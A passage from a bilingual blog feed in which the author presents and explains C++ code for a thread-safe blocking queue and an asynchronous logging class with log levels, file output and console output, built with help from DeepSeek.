&lt;p&gt;为什么要给日志记录单开一个线程，个人考虑是因为本身就是多线程的架构，需要编写一个统一的日志记录模块。如果每个线程单独打印，则很有可能出现两个线程同时写入文件或者同时输出到控制台，造成日志混乱。&lt;/p&gt;
&lt;p&gt;因此，日志记录大致思路就是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;定义一个队列，存储日志内容和等级&lt;/li&gt;
&lt;li&gt;创建一个线程，不断地从线程中取出元素，根据设定的日志等级决定是否打印到控制台或者输出到文件&lt;/li&gt;
&lt;li&gt;外部push日志内容到队列中&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;一些细节上的内容&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;保证可移植性，尽量使用STL库编写，如使用&lt;code&gt;std::thread&lt;/code&gt;而不是&lt;code&gt;pthread&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;保证线程安全，需要使用互斥锁之类的保护相应变量&lt;/li&gt;
&lt;li&gt;让日志队列为空时线程等待，想到编写一个类似于Java下BlockingQueue的阻塞队列&lt;/li&gt;
&lt;li&gt;指定一个日志等级，超过这个等级的日志才会被保存或者打印&lt;/li&gt;
&lt;li&gt;通过&lt;code&gt;va_list&lt;/code&gt;实现不定参数，使日志记录有&lt;code&gt;sprintf&lt;/code&gt;的的使用体验&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;开始编写&lt;/h1&gt;
&lt;p&gt;有了上述思路，整体编写就很简单了。&lt;/p&gt;
&lt;h2&gt;BlockingQueue&lt;/h2&gt;
&lt;p&gt;&lt;s&gt;偷懒了，这部分直接让DeepSeek写的&lt;/s&gt;
为了实现一个多线程安全的阻塞队列，当队列为空时调用&lt;code&gt;front()&lt;/code&gt;会阻塞直到其他线程添加元素，我们可以结合互斥锁（&lt;code&gt;std::mutex&lt;/code&gt;）和条件变量（&lt;code&gt;std::condition_variable&lt;/code&gt;）来同步线程操作。&lt;/p&gt;
&lt;h3&gt;代码实现&lt;/h3&gt;
&lt;h4&gt;互斥锁（&lt;code&gt;std::mutex&lt;/code&gt;）&lt;/h4&gt;
&lt;p&gt;所有对队列的操作（&lt;code&gt;push&lt;/code&gt;、&lt;code&gt;front&lt;/code&gt;、&lt;code&gt;pop&lt;/code&gt;、&lt;code&gt;empty&lt;/code&gt;）都需要先获取锁，确保同一时间只有一个线程能修改队列，避免数据竞争。&lt;/p&gt;
&lt;h4&gt;条件变量（&lt;code&gt;std::condition_variable&lt;/code&gt;）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;当调用&lt;code&gt;front()&lt;/code&gt;时，如果队列为空，线程会通过&lt;code&gt;cv_.wait()&lt;/code&gt;释放锁并阻塞，直到其他线程调用&lt;code&gt;push()&lt;/code&gt;添加元素后，通过&lt;code&gt;cv_.notify_one()&lt;/code&gt;唤醒一个等待线程。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cv_.wait()&lt;/code&gt;需配合&lt;code&gt;std::unique_lock&lt;/code&gt;，并在等待时自动释放锁，避免死锁。&lt;/li&gt;
&lt;li&gt;使用谓词检查（&lt;code&gt;[this] { return !queue_.empty(); }&lt;/code&gt;）防止虚假唤醒。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;元素获取与移除&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;front()&lt;/code&gt;返回队首元素的拷贝（而非引用），确保调用者获得数据时队列的锁已释放，避免悬空引用。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pop()&lt;/code&gt;需显式调用以移除元素，确保队列状态可控。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;queue&amp;gt;              // 队列
#include &amp;lt;mutex&amp;gt;              // 互斥锁
#include &amp;lt;condition_variable&amp;gt; // 条件变量

template&amp;lt;typename T&amp;gt;
class BlockingQueue {
public:
    // 向队列中添加元素
    void push(const T&amp;amp; item) {
        std::lock_guard&amp;lt;std::mutex&amp;gt; lock(mtx_);
        queue_.push(item);
        cv_.notify_one(); // 通知一个等待的线程
    }

    // 获取队首元素（阻塞直到队列非空）
    T front() {
        std::unique_lock&amp;lt;std::mutex&amp;gt; lock(mtx_);
        cv_.wait(lock, [this] { return !queue_.empty(); }); // 阻塞直到队列非空
        return queue_.front();
    }

    // 获取队首元素并移除
    T take() {
        std::unique_lock&amp;lt;std::mutex&amp;gt; lock(mtx_);
        cv_.wait(lock, [this] { return !queue_.empty(); });
        T item = std::move(queue_.front()); // 移动语义避免拷贝
        queue_.pop();
        return item;
    }

    // 移除队首元素（需外部调用，非阻塞）
    void pop() {
        std::lock_guard&amp;lt;std::mutex&amp;gt; lock(mtx_);
        if (!queue_.empty()) {
            queue_.pop();
        }
    }

    // 检查队列是否为空
    bool empty() const {
        std::lock_guard&amp;lt;std::mutex&amp;gt; lock(mtx_);
        return queue_.empty();
    }

private:
    mutable std::mutex mtx_;         // 互斥锁
    std::condition_variable cv_;     // 条件变量
    std::queue&amp;lt;T&amp;gt; queue_;            // 内部队列
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Log类&lt;/h2&gt;
&lt;h3&gt;Log.h&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#pragma once
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;fstream&amp;gt;
#include &amp;lt;cstring&amp;gt;
#include &amp;lt;thread&amp;gt;
#include &amp;lt;chrono&amp;gt;
#include &amp;lt;mutex&amp;gt;
#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdarg&amp;gt;
#include &amp;lt;atomic&amp;gt;

#include &quot;BlockingQueue.h&quot;

enum LogLevel {
	LEVEL_VERBOSE,LEVEL_INFO,LEVEL_WARN,LEVEL_ERROR,LEVEL_FATAL,LEVEL_OFF
};

struct LogMsg {
	short m_LogLevel;
	std::string m_strTimestamp;
	std::string m_strLogMsg;
};

class Log {
private:
	std::ofstream m_ofLogFile;        // 日志文件输出流
	std::mutex m_lockFile;            // 文件操作互斥锁
	std::thread m_threadMain;         // 后台日志处理线程
	BlockingQueue&amp;lt;LogMsg&amp;gt; m_msgQueue; // 线程安全阻塞队列
	short m_levelLog, m_levelPrint;   // 文件和控制台日志级别阈值
	std::atomic&amp;lt;bool&amp;gt; m_exit_requested{ false }; // 线程退出标志

	std::string getTime();            // 获取当前时间戳
	std::string level2str(short level, bool character_only); // 级别转字符串
	void logThread();                 // 后台线程函数

public:
	Log(short default_loglevel = LEVEL_WARN, short default_printlevel = LEVEL_INFO);
	~Log();
	void push(short level, const char* msg, ...); // 添加日志（支持格式化）
	void set_level(short loglevel, short printlevel); // 设置日志级别
	bool open(std::string filename);   // 打开日志文件
	bool close();                      // 关闭日志文件
};

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Log.cpp&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &quot;Log.h&quot;

std::string Log::getTime() {
	using sc = std::chrono::system_clock;
	std::time_t t = sc::to_time_t(sc::now());
	char buf[20];
#ifdef _WIN32
	std::tm timeinfo;
	localtime_s(&amp;amp;timeinfo,&amp;amp;t);
	sprintf_s(buf, &quot;%04d.%02d.%02d-%02d:%02d:%02d&quot;, 
		timeinfo.tm_year + 1900,
		timeinfo.tm_mon + 1,
		timeinfo.tm_mday,
		timeinfo.tm_hour,
		timeinfo.tm_min,
		timeinfo.tm_sec
	);
#else
	strftime(buf, 20, &quot;%Y.%m.%d-%H:%M:%S&quot;, localtime(&amp;amp;t));
#endif
	return buf;
}

std::string Log::level2str(short level, bool character_only)
{
	switch (level) {
	case LEVEL_VERBOSE: 
		return character_only ? &quot;V&quot; : &quot;Verbose&quot;;
	case LEVEL_WARN:
		return character_only ? &quot;W&quot; : &quot;Warning&quot;;
	case LEVEL_ERROR:
		return character_only ? &quot;E&quot; : &quot;Error&quot;;
	case LEVEL_FATAL:
		return character_only ? &quot;F&quot; : &quot;Fatal&quot;;
	}
	return character_only ? &quot;I&quot; : &quot;Info&quot;;
}

void Log::logThread() {
	while (true) {
		LogMsg front = m_msgQueue.take(); // 阻塞直到有消息
		// 处理文件写入
		if (front.m_LogLevel &amp;gt;= m_levelLog) {
			std::lock_guard&amp;lt;std::mutex&amp;gt; lock(m_lockFile); // RAII 管理锁
			if (m_ofLogFile) {
				m_ofLogFile &amp;lt;&amp;lt; front.m_strTimestamp &amp;lt;&amp;lt; &apos; &apos;
					&amp;lt;&amp;lt; level2str(front.m_LogLevel, true) &amp;lt;&amp;lt; &quot;: &quot;
					&amp;lt;&amp;lt; front.m_strLogMsg &amp;lt;&amp;lt; std::endl;
			}
		}
		// 处理控制台打印
		if (front.m_LogLevel &amp;gt;= m_levelPrint) {
			printf(&quot;%s %s: %s\n&quot;, front.m_strTimestamp.c_str(),
				level2str(front.m_LogLevel, true).c_str(),
				front.m_strLogMsg.c_str());
		}
		// 检查退出条件：队列为空且标志为真
		if (m_exit_requested.load() &amp;amp;&amp;amp; m_msgQueue.empty()) break;
	}
	return;
}

Log::Log(short default_loglevel, short default_printlevel) {
	set_level(default_loglevel, default_printlevel);
	m_threadMain = std::thread(&amp;amp;Log::logThread, this);
}

Log::~Log() {
	m_exit_requested.store(true);
	m_msgQueue.push({ LEVEL_INFO, getTime(), &quot;Exit.&quot; }); // 唤醒可能阻塞的线程
	if (m_threadMain.joinable()) m_threadMain.join();
	close(); // 确保文件关闭
}

void Log::push(short level, const char* msg, ...) {
	va_list args;
	va_start(args, msg);
	const int len = vsnprintf(nullptr, 0, msg, args);
	va_end(args);

	if (len &amp;lt; 0) return;

	std::vector&amp;lt;char&amp;gt; buf(len + 1);

	va_start(args, msg);
	vsnprintf(buf.data(), buf.size(), msg, args);
	va_end(args);

	m_msgQueue.push({level,getTime(),buf.data()});
}

void Log::set_level(short loglevel, short printlevel)
{
	m_levelLog = loglevel;
	m_levelPrint = printlevel;
}

bool Log::open(std::string filename) {
	m_lockFile.lock();
	m_ofLogFile.open(filename.c_str(), std::ios::out);
	m_lockFile.unlock();
	return (bool)m_ofLogFile;
}

bool Log::close() {
	m_lockFile.lock();
	m_ofLogFile.close();
	m_lockFile.unlock();
	return false;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;说明&lt;/h3&gt;
&lt;h4&gt;类/结构说明&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;LogLevel 枚举
定义日志级别：VERBOSE, INFO, WARN, ERROR, FATAL, OFF。
OFF不应被用于记录的日志等级，仅用于当需要关闭日志记录时将阈值设置为该项以实现所有日志都不记录&lt;/li&gt;
&lt;li&gt;LogMsg 结构体
封装日志消息：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;m_LogLevel：日志级别。&lt;/li&gt;
&lt;li&gt;m_strTimestamp：时间戳字符串。&lt;/li&gt;
&lt;li&gt;m_strLogMsg：日志内容。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;成员变量说明&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;变量&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;m_ofLogFile&lt;/td&gt;
&lt;td&gt;文件输出流，用于写入日志文件。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;m_lockFile&lt;/td&gt;
&lt;td&gt;互斥锁，保护文件操作。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;m_threadMain&lt;/td&gt;
&lt;td&gt;后台线程，处理日志消息的消费。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;m_msgQueue&lt;/td&gt;
&lt;td&gt;阻塞队列，存储待处理的日志消息。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;m_levelLog&lt;/td&gt;
&lt;td&gt;写入文件的最低日志级别（高于此级别的消息会被记录）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;m_levelPrint&lt;/td&gt;
&lt;td&gt;打印到控制台的最低日志级别。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;m_exit_requested&lt;/td&gt;
&lt;td&gt;原子标志，控制日志线程退出。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;函数说明&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;函数&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;getTime&lt;/td&gt;
&lt;td&gt;获取当前时间戳字符串（跨平台实现）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;level2str&lt;/td&gt;
&lt;td&gt;将日志级别转换为字符串（如 LEVEL_INFO → &quot;I&quot; 或 &quot;Info&quot;）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;logThread&lt;/td&gt;
&lt;td&gt;后台线程函数：消费队列消息，写入文件或打印。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;构造函数&lt;/td&gt;
&lt;td&gt;初始化日志级别，启动后台线程。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;析构函数&lt;/td&gt;
&lt;td&gt;设置退出标志，等待线程结束，确保处理剩余消息。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;push&lt;/td&gt;
&lt;td&gt;格式化日志消息（支持可变参数）并推入队列。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;set_level&lt;/td&gt;
&lt;td&gt;动态设置日志级别和打印级别。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;open/close&lt;/td&gt;
&lt;td&gt;打开/关闭日志文件。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;p&gt;完整代码及测试样例下载：
&lt;a href=&quot;/downloads/2025/04/3361655567.zip&quot;&gt;demo.zip&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>Cross-Platform Service Programming Diary Ep.1 - Unified Logging Management</title><link>https://blog.iyoroy.cn/posts/en-42/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-42/</guid><description>An experimental C++ async logging module for a cross-platform service, using a blocking queue and worker thread with log levels, file output, and console output.</description><pubDate>Fri, 18 Apr 2025 16:19:00 GMT</pubDate><content:encoded>&lt;p&gt;A while ago, on a whim, I decided to write my own management program for a cross-platform console service-class application I was using, in order to add some features. Thus, I designed a simple service operation flow.&lt;/p&gt;
&lt;p&gt;:::warning
The views and solutions in this series of articles are designed by me based on my existing knowledge combined with assistance from DeepSeek. They have not been rigorously tested and do not guarantee feasibility or stability for use in production environments.
:::&lt;/p&gt;
&lt;h1&gt;General Approach&lt;/h1&gt;
&lt;p&gt;Roughly divided into several threads, used for:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Logging&lt;/li&gt;
&lt;li&gt;Target application instance management (potentially more than one thread)&lt;/li&gt;
&lt;li&gt;Listening for IPC messages&lt;/li&gt;
&lt;li&gt;Processing received IPC messages (main process)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This article focuses on the logging part.&lt;/p&gt;
&lt;h1&gt;Design Rationale&lt;/h1&gt;
&lt;p&gt;Why dedicate a separate thread to logging? My consideration is that since it&apos;s inherently a multi-threaded architecture, a unified logging module is necessary. If each thread prints independently, it&apos;s highly likely that two threads could write to the file or output to the console simultaneously, causing log chaos.&lt;/p&gt;
&lt;p&gt;Therefore, the general idea for logging is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Define a queue to store log content and level.&lt;/li&gt;
&lt;li&gt;Create a thread that continuously takes elements from the queue, deciding whether to print to the console or output to a file based on the set log level.&lt;/li&gt;
&lt;li&gt;External components push log content to the queue.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Some Detailed Considerations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Ensure portability by using the STL library as much as possible, e.g., using &lt;code&gt;std::thread&lt;/code&gt; instead of &lt;code&gt;pthread&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Ensure thread safety, requiring protection of relevant variables with mutexes or similar mechanisms.&lt;/li&gt;
&lt;li&gt;Make the thread wait when the log queue is empty; thought of writing a blocking queue similar to Java&apos;s BlockingQueue.&lt;/li&gt;
&lt;li&gt;Specify a log level; only logs with a level meeting or exceeding this threshold will be saved or printed.&lt;/li&gt;
&lt;li&gt;Implement variadic arguments via &lt;code&gt;va_list&lt;/code&gt; to give the logging function a usage experience similar to &lt;code&gt;sprintf&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Start Coding&lt;/h1&gt;
&lt;p&gt;With the above approach, the overall coding becomes quite simple.&lt;/p&gt;
&lt;h2&gt;BlockingQueue&lt;/h2&gt;
&lt;p&gt;&lt;s&gt;Got lazy here, let DeepSeek write this part directly&lt;/s&gt;
To implement a multi-thread-safe blocking queue where calling &lt;code&gt;front()&lt;/code&gt; blocks until another thread adds an element, we can combine a mutex (&lt;code&gt;std::mutex&lt;/code&gt;) and a condition variable (&lt;code&gt;std::condition_variable&lt;/code&gt;) to synchronize thread operations.&lt;/p&gt;
&lt;h3&gt;Code Implementation&lt;/h3&gt;
&lt;h4&gt;Mutex (&lt;code&gt;std::mutex&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;All operations on the queue (&lt;code&gt;push&lt;/code&gt;、&lt;code&gt;front&lt;/code&gt;、&lt;code&gt;pop&lt;/code&gt;、&lt;code&gt;empty&lt;/code&gt;) need to acquire the lock first, ensuring only one thread can modify the queue at a time and avoiding data races.&lt;/p&gt;
&lt;h4&gt;Condition Variable (&lt;code&gt;std::condition_variable&lt;/code&gt;)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;When &lt;code&gt;front()&lt;/code&gt; is called and the queue is empty, the thread releases the lock and blocks via &lt;code&gt;cv_.wait()&lt;/code&gt;, until another thread calls &lt;code&gt;push()&lt;/code&gt; to add an element and wakes up one waiting thread via &lt;code&gt;cv_.notify_one()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cv_.wait()&lt;/code&gt; needs to be used with &lt;code&gt;std::unique_lock&lt;/code&gt; and automatically releases the lock while waiting to avoid deadlocks.&lt;/li&gt;
&lt;li&gt;Uses a predicate check (&lt;code&gt;[this] { return !queue_.empty(); }&lt;/code&gt;) to prevent spurious wakeups.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Element Retrieval and Removal&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;front()&lt;/code&gt; returns a copy of the front element (not a reference), ensuring the caller gets the data after the queue&apos;s lock is released, avoiding dangling references.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pop()&lt;/code&gt; must be called explicitly to remove the element, ensuring controllable queue state.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;queue&amp;gt;              // queue
#include &amp;lt;mutex&amp;gt;              // mutex
#include &amp;lt;condition_variable&amp;gt; // condition_variable

template&amp;lt;typename T&amp;gt;
class BlockingQueue {
public:
    // Add an element to the queue
    void push(const T&amp;amp; item) {
        std::lock_guard&amp;lt;std::mutex&amp;gt; lock(mtx_);
        queue_.push(item);
        cv_.notify_one(); // Notify one waiting thread
    }

    // Get the front element (blocks until queue is not empty)
    T front() {
        std::unique_lock&amp;lt;std::mutex&amp;gt; lock(mtx_);
        cv_.wait(lock, [this] { return !queue_.empty(); }); // Block until queue not empty
        return queue_.front();
    }

    // Get and remove the front element
    T take() {
        std::unique_lock&amp;lt;std::mutex&amp;gt; lock(mtx_);
        cv_.wait(lock, [this] { return !queue_.empty(); });
        T item = std::move(queue_.front()); // Use move semantics to avoid copy
        queue_.pop();
        return item;
    }

    // Remove the front element (requires external call, non-blocking)
    void pop() {
        std::lock_guard&amp;lt;std::mutex&amp;gt; lock(mtx_);
        if (!queue_.empty()) {
            queue_.pop();
        }
    }

    // Check if the queue is empty
    bool empty() const {
        std::lock_guard&amp;lt;std::mutex&amp;gt; lock(mtx_);
        return queue_.empty();
    }

private:
    mutable std::mutex mtx_;         // Mutex
    std::condition_variable cv_;     // Condition variable
    std::queue&amp;lt;T&amp;gt; queue_;            // Internal queue
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Log Class&lt;/h2&gt;
&lt;h3&gt;Log.h&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#pragma once
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;fstream&amp;gt;
#include &amp;lt;cstring&amp;gt;
#include &amp;lt;thread&amp;gt;
#include &amp;lt;chrono&amp;gt;
#include &amp;lt;mutex&amp;gt;
#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdarg&amp;gt;
#include &amp;lt;atomic&amp;gt;

#include &quot;BlockingQueue.h&quot;

enum LogLevel {
	LEVEL_VERBOSE,LEVEL_INFO,LEVEL_WARN,LEVEL_ERROR,LEVEL_FATAL,LEVEL_OFF
};

struct LogMsg {
	short m_LogLevel;
	std::string m_strTimestamp;
	std::string m_strLogMsg;
};

class Log {
private:
	std::ofstream m_ofLogFile;        // Log file output stream
	std::mutex m_lockFile;            // File operation mutex
	std::thread m_threadMain;         // Background log processing thread
	BlockingQueue&amp;lt;LogMsg&amp;gt; m_msgQueue; // Thread-safe blocking queue
	short m_levelLog, m_levelPrint;   // File and console log level thresholds
	std::atomic&amp;lt;bool&amp;gt; m_exit_requested{ false }; // Thread exit flag

	std::string getTime();            // Get current timestamp
	std::string level2str(short level, bool character_only); // Level to string
	void logThread();                 // Background thread function

public:
	Log(short default_loglevel = LEVEL_WARN, short default_printlevel = LEVEL_INFO);
	~Log();
	void push(short level, const char* msg, ...); // Add log (supports formatting)
	void set_level(short loglevel, short printlevel); // Set log levels
	bool open(std::string filename);   // Open log file
	bool close();                      // Close log file
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Log.cpp&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &quot;Log.h&quot;

std::string Log::getTime() {
	using sc = std::chrono::system_clock;
	std::time_t t = sc::to_time_t(sc::now());
	char buf[20];
#ifdef _WIN32
	std::tm timeinfo;
	localtime_s(&amp;amp;timeinfo,&amp;amp;t);
	sprintf_s(buf, &quot;%04d.%02d.%02d-%02d:%02d:%02d&quot;, 
		timeinfo.tm_year + 1900,
		timeinfo.tm_mon + 1,
		timeinfo.tm_mday,
		timeinfo.tm_hour,
		timeinfo.tm_min,
		timeinfo.tm_sec
	);
#else
	strftime(buf, 20, &quot;%Y.%m.%d-%H:%M:%S&quot;, localtime(&amp;amp;t));
#endif
	return buf;
}

std::string Log::level2str(short level, bool character_only)
{
	switch (level) {
	case LEVEL_VERBOSE: 
		return character_only ? &quot;V&quot; : &quot;Verbose&quot;;
	case LEVEL_WARN:
		return character_only ? &quot;W&quot; : &quot;Warning&quot;;
	case LEVEL_ERROR:
		return character_only ? &quot;E&quot; : &quot;Error&quot;;
	case LEVEL_FATAL:
		return character_only ? &quot;F&quot; : &quot;Fatal&quot;;
	}
	return character_only ? &quot;I&quot; : &quot;Info&quot;;
}

void Log::logThread() {
	while (true) {
		LogMsg front = m_msgQueue.take(); // Block until a message arrives
		// Handle file writing
		if (front.m_LogLevel &amp;gt;= m_levelLog) {
			std::lock_guard&amp;lt;std::mutex&amp;gt; lock(m_lockFile); // RAII manage lock
			if (m_ofLogFile) {
				m_ofLogFile &amp;lt;&amp;lt; front.m_strTimestamp &amp;lt;&amp;lt; &apos; &apos;
					&amp;lt;&amp;lt; level2str(front.m_LogLevel, true) &amp;lt;&amp;lt; &quot;: &quot;
					&amp;lt;&amp;lt; front.m_strLogMsg &amp;lt;&amp;lt; std::endl;
			}
		}
		// Handle console printing
		if (front.m_LogLevel &amp;gt;= m_levelPrint) {
			printf(&quot;%s %s: %s\n&quot;, front.m_strTimestamp.c_str(),
				level2str(front.m_LogLevel, true).c_str(),
				front.m_strLogMsg.c_str());
		}
		// Check exit condition: queue is empty and flag is true
		if (m_exit_requested.load() &amp;amp;&amp;amp; m_msgQueue.empty()) break;
	}
	return;
}

Log::Log(short default_loglevel, short default_printlevel) {
	set_level(default_loglevel, default_printlevel);
	m_threadMain = std::thread(&amp;amp;Log::logThread, this);
}

Log::~Log() {
	m_exit_requested.store(true);
	m_msgQueue.push({ LEVEL_INFO, getTime(), &quot;Exit.&quot; }); // Wake potentially blocked thread
	if (m_threadMain.joinable()) m_threadMain.join();
	close(); // Ensure file is closed
}

void Log::push(short level, const char* msg, ...) {
	va_list args;
	va_start(args, msg);
	const int len = vsnprintf(nullptr, 0, msg, args);
	va_end(args);

	if (len &amp;lt; 0) return;

	std::vector&amp;lt;char&amp;gt; buf(len + 1);

	va_start(args, msg);
	vsnprintf(buf.data(), buf.size(), msg, args);
	va_end(args);

	m_msgQueue.push({level,getTime(),buf.data()});
}

void Log::set_level(short loglevel, short printlevel)
{
	m_levelLog = loglevel;
	m_levelPrint = printlevel;
}

bool Log::open(std::string filename) {
	m_lockFile.lock();
	m_ofLogFile.open(filename.c_str(), std::ios::out);
	m_lockFile.unlock();
	return (bool)m_ofLogFile;
}

bool Log::close() {
	m_lockFile.lock();
	m_ofLogFile.close();
	m_lockFile.unlock();
	return false;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Explanation&lt;/h3&gt;
&lt;h4&gt;Class/Structure Explanation&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;LogLevel Enum
Defines log levels: VERBOSE, INFO, WARN, ERROR, FATAL, OFF。
OFF should not be used as a level for recorded logs, only for setting the threshold when needing to disable all logging.&lt;/li&gt;
&lt;li&gt;LogMsg Struct
Encapsulates a log message:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;m_LogLevel&lt;/code&gt;: The log level.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;m_strTimestamp&lt;/code&gt;: Timestamp string.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;m_strLogMsg&lt;/code&gt;: The log content.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Member Variable Explanation&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Variable&lt;/th&gt;
&lt;th&gt;Explanation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;m_ofLogFile&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;File output stream for writing to the log file.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;m_lockFile&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Mutex protecting file operations.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;m_threadMain&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Background thread handling consumption of log messages.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;m_msgQueue&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Blocking queue storing pending log messages.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;m_levelLog&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Minimum log level for writing to file (messages with level &amp;gt;= this are recorded).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;m_levelPrint&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Minimum log level for printing to console.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;m_exit_requested&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Atomic flag controlling log thread exit.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;Function Explanation&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Explanation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;getTime&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Gets the current timestamp string (cross-platform implementation).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;level2str&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Converts log level to string (e.g., LEVEL_INFO → &quot;I&quot; or &quot;Info&quot;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;logThread&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Background thread function: consumes queue messages, writes to file or prints.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Constructor&lt;/td&gt;
&lt;td&gt;Initializes log levels, starts the background thread.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Destructor&lt;/td&gt;
&lt;td&gt;Sets exit flag, waits for thread to finish, ensures remaining messages are processed.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;push&lt;/code&gt;&lt;/td&gt;
